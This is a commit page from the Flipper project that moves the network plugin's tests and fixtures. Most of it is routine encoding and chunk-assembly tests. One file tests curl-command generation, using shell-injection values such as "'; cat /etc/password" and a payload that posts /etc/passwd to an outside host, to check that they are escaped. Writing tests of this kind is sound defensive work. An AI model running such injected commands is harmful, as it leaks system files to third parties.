Plugin folders re-structuring
Summary: Here I'm changing plugin repository structure to allow re-using of shared packages between both public and fb-internal plugins, and to ensure that public plugins has their own yarn.lock as this will be required to implement reproducible jobs checking plugin compatibility with released flipper versions. Please note that there are a lot of moved files in this diff, make sure to click "Expand all" to see all that actually changed (there are not much of them actually). New proposed structure for plugin packages: ``` - root - node_modules - modules included into Flipper: flipper, flipper-plugin, react, antd, emotion -- plugins --- node_modules - modules used by both public and fb-internal plugins (shared libs will be linked here, see D27034936) --- public ---- node_modules - modules used by public plugins ---- pluginA ----- node_modules - modules used by plugin A exclusively ---- pluginB ----- node_modules - modules used by plugin B exclusively --- fb ---- node_modules - modules used by fb-internal plugins ---- pluginC ----- node_modules - modules used by plugin C exclusively ---- pluginD ----- node_modules - modules used by plugin D exclusively ``` I've moved all public plugins under dir "plugins/public" and excluded them from root yarn workspaces. Instead, they will have their own yarn workspaces config and yarn.lock and they will use flipper modules as peer dependencies. Reviewed By: mweststrate Differential Revision: D27034108 fbshipit-source-id: c2310e3c5bfe7526033f51b46c0ae40199fd7586
This commit is contained in:
committed by
Facebook GitHub Bot
parent
32bf4c32c2
commit
b3274a8450
175
desktop/plugins/public/network/__tests__/chunks.node.tsx
Normal file
175
desktop/plugins/public/network/__tests__/chunks.node.tsx
Normal file
@@ -0,0 +1,175 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {combineBase64Chunks} from '../chunks';
|
||||
import {TestUtils, createState} from 'flipper-plugin';
|
||||
import * as NetworkPlugin from '../index';
|
||||
import {assembleChunksIfResponseIsComplete} from '../chunks';
|
||||
import path from 'path';
|
||||
import {PartialResponses, Response} from '../types';
|
||||
import {Base64} from 'js-base64';
|
||||
import * as fs from 'fs';
|
||||
import {promisify} from 'util';
|
||||
|
||||
const readFile = promisify(fs.readFile);
|
||||
|
||||
test('Test assembling base64 chunks', () => {
|
||||
const message = 'wassup john?';
|
||||
const chunks = message.match(/.{1,2}/g)?.map(btoa);
|
||||
|
||||
if (chunks === undefined) {
|
||||
throw new Error('invalid chunks');
|
||||
}
|
||||
|
||||
const output = combineBase64Chunks(chunks);
|
||||
expect(Base64.decode(output)).toBe('wassup john?');
|
||||
});
|
||||
|
||||
test('Reducer correctly adds initial chunk', () => {
|
||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||
expect(instance.partialResponses.get()).toEqual({});
|
||||
|
||||
sendEvent('partialResponse', {
|
||||
id: '1',
|
||||
timestamp: 123,
|
||||
status: 200,
|
||||
data: 'hello',
|
||||
reason: 'nothing',
|
||||
headers: [],
|
||||
isMock: false,
|
||||
insights: null,
|
||||
index: 0,
|
||||
totalChunks: 2,
|
||||
});
|
||||
|
||||
expect(instance.partialResponses.get()['1']).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"followupChunks": Object {},
|
||||
"initialResponse": Object {
|
||||
"data": "hello",
|
||||
"headers": Array [],
|
||||
"id": "1",
|
||||
"index": 0,
|
||||
"insights": null,
|
||||
"isMock": false,
|
||||
"reason": "nothing",
|
||||
"status": 200,
|
||||
"timestamp": 123,
|
||||
"totalChunks": 2,
|
||||
},
|
||||
}
|
||||
`);
|
||||
});
|
||||
|
||||
test('Reducer correctly adds followup chunk', () => {
|
||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||
expect(instance.partialResponses.get()).toEqual({});
|
||||
|
||||
sendEvent('partialResponse', {
|
||||
id: '1',
|
||||
totalChunks: 2,
|
||||
index: 1,
|
||||
data: 'hello',
|
||||
});
|
||||
expect(instance.partialResponses.get()['1']).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"followupChunks": Object {
|
||||
"1": "hello",
|
||||
},
|
||||
}
|
||||
`);
|
||||
});
|
||||
|
||||
test('Reducer correctly combines initial response and followup chunk', () => {
|
||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||
instance.partialResponses.set({
|
||||
'1': {
|
||||
followupChunks: {},
|
||||
initialResponse: {
|
||||
data: 'aGVs',
|
||||
headers: [],
|
||||
id: '1',
|
||||
insights: null,
|
||||
isMock: false,
|
||||
reason: 'nothing',
|
||||
status: 200,
|
||||
timestamp: 123,
|
||||
index: 0,
|
||||
totalChunks: 2,
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(instance.responses.get()).toEqual({});
|
||||
sendEvent('partialResponse', {
|
||||
id: '1',
|
||||
totalChunks: 2,
|
||||
index: 1,
|
||||
data: 'bG8=',
|
||||
});
|
||||
|
||||
expect(instance.partialResponses.get()).toEqual({});
|
||||
expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"data": "aGVsbG8=",
|
||||
"headers": Array [],
|
||||
"id": "1",
|
||||
"index": 0,
|
||||
"insights": null,
|
||||
"isMock": false,
|
||||
"reason": "nothing",
|
||||
"status": 200,
|
||||
"timestamp": 123,
|
||||
"totalChunks": 2,
|
||||
}
|
||||
`);
|
||||
});
|
||||
|
||||
async function readJsonFixture(filename: string) {
|
||||
return JSON.parse(
|
||||
await readFile(path.join(__dirname, 'fixtures', filename), 'utf-8'),
|
||||
);
|
||||
}
|
||||
|
||||
test('handle small binary payloads correctly', async () => {
|
||||
const input = await readJsonFixture('partial_failing_example.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
// this used to throw
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
});
|
||||
|
||||
test('handle non binary payloads correcty', async () => {
|
||||
const input = await readJsonFixture('partial_utf8_before.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
const expected = await readJsonFixture('partial_utf8_after.json');
|
||||
expect(responses.get()['test']).toEqual(expected);
|
||||
});
|
||||
|
||||
test('handle binary payloads correcty', async () => {
|
||||
const input = await readJsonFixture('partial_binary_before.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
const expected = await readJsonFixture('partial_binary_after.json');
|
||||
expect(responses.get()['test']).toEqual(expected);
|
||||
});
|
||||
101
desktop/plugins/public/network/__tests__/encoding.node.tsx
Normal file
101
desktop/plugins/public/network/__tests__/encoding.node.tsx
Normal file
@@ -0,0 +1,101 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {readFile} from 'fs';
|
||||
import path from 'path';
|
||||
import {decodeBody} from '../utils';
|
||||
import {Response} from '../types';
|
||||
import {promisify} from 'util';
|
||||
import {readFileSync} from 'fs';
|
||||
|
||||
async function createMockResponse(input: string): Promise<Response> {
|
||||
const inputData = await promisify(readFile)(
|
||||
path.join(__dirname, 'fixtures', input),
|
||||
'ascii',
|
||||
);
|
||||
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
|
||||
const testResponse: Response = {
|
||||
id: '0',
|
||||
timestamp: 0,
|
||||
status: 200,
|
||||
reason: 'dunno',
|
||||
headers: gzip
|
||||
? [
|
||||
{
|
||||
key: 'Content-Encoding',
|
||||
value: 'gzip',
|
||||
},
|
||||
]
|
||||
: [],
|
||||
data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data,
|
||||
isMock: false,
|
||||
insights: undefined,
|
||||
totalChunks: 1,
|
||||
index: 0,
|
||||
};
|
||||
return testResponse;
|
||||
}
|
||||
|
||||
describe('network data encoding', () => {
|
||||
const donatingExpected = readFileSync(
|
||||
path.join(__dirname, 'fixtures', 'donating.md'),
|
||||
'utf-8',
|
||||
).trim();
|
||||
const tinyLogoExpected = readFileSync(
|
||||
path.join(__dirname, 'fixtures', 'tiny_logo.png'),
|
||||
);
|
||||
const tinyLogoBase64Expected = readFileSync(
|
||||
path.join(__dirname, 'fixtures', 'tiny_logo.base64.txt'),
|
||||
'utf-8',
|
||||
);
|
||||
|
||||
test('donating.md.utf8.ios.txt', async () => {
|
||||
const response = await createMockResponse('donating.md.utf8.ios.txt');
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('donating.md.utf8.gzip.ios.txt', async () => {
|
||||
const response = await createMockResponse('donating.md.utf8.gzip.ios.txt');
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('donating.md.utf8.android.txt', async () => {
|
||||
const response = await createMockResponse('donating.md.utf8.android.txt');
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('donating.md.utf8.gzip.android.txt', async () => {
|
||||
const response = await createMockResponse(
|
||||
'donating.md.utf8.gzip.android.txt',
|
||||
);
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('tiny_logo.android.txt', async () => {
|
||||
const response = await createMockResponse('tiny_logo.android.txt');
|
||||
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
|
||||
});
|
||||
|
||||
test('tiny_logo.android.txt - encoded', async () => {
|
||||
const response = await createMockResponse('tiny_logo.android.txt');
|
||||
// this compares to the correct base64 encoded src tag of the img in Flipper UI
|
||||
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
|
||||
});
|
||||
|
||||
test('tiny_logo.ios.txt', async () => {
|
||||
const response = await createMockResponse('tiny_logo.ios.txt');
|
||||
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
|
||||
});
|
||||
|
||||
test('tiny_logo.ios.txt - encoded', async () => {
|
||||
const response = await createMockResponse('tiny_logo.ios.txt');
|
||||
// this compares to the correct base64 encoded src tag of the img in Flipper UI
|
||||
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,3 @@
|
||||
# 捐赠
|
||||
|
||||
MobX 是使您的项目成功的关键吗? 使用[捐赠按钮](https://mobxjs.github.io/mobx/donate.html)分享胜利!如果你留下一个名字,它将被添加到赞助商列表。
|
||||
@@ -0,0 +1 @@
|
||||
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9 v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5o dG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuii q+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=
|
||||
@@ -0,0 +1 @@
|
||||
H4sIAAAAAAAAAyWNXQvBUByH7/cpVm642e59B/dKLiwywpSjXDKsY6gl8hrjQkNGSeYtH8b5n51d +QoWl7+n5+kX4GnXYGeT4yKKFOXp6ECeL6pa7qThLa/u1KbYAH3hT2ievL4NxvDzWPC+5Pat2L+l nZbXs+NBGaFiKSyKeUWqZEtCOoPksiRklB8Qk0ohgVKCjPK5EGCN3HasPgO8+TxqsFbpfEaepjsY E6dNnCpxtmB0Ye+fdcCuw1Fjqx293EE3AR/ZeQ76BgYa4CFbWu+qyn0Bz88iqcgAAAA=
|
||||
@@ -0,0 +1 @@
|
||||
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5odG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuiiq+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=
|
||||
@@ -0,0 +1 @@
|
||||
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5odG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuiiq+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
desktop/plugins/public/network/__tests__/fixtures/tiny_logo.png
Normal file
BIN
desktop/plugins/public/network/__tests__/fixtures/tiny_logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
@@ -0,0 +1,147 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {convertRequestToCurlCommand} from '../utils';
|
||||
import {Request} from '../types';
|
||||
|
||||
test('convertRequestToCurlCommand: simple GET', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: null,
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: simple POST', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=!!'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: control characters', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
|
||||
);
|
||||
});
|
||||
Reference in New Issue
Block a user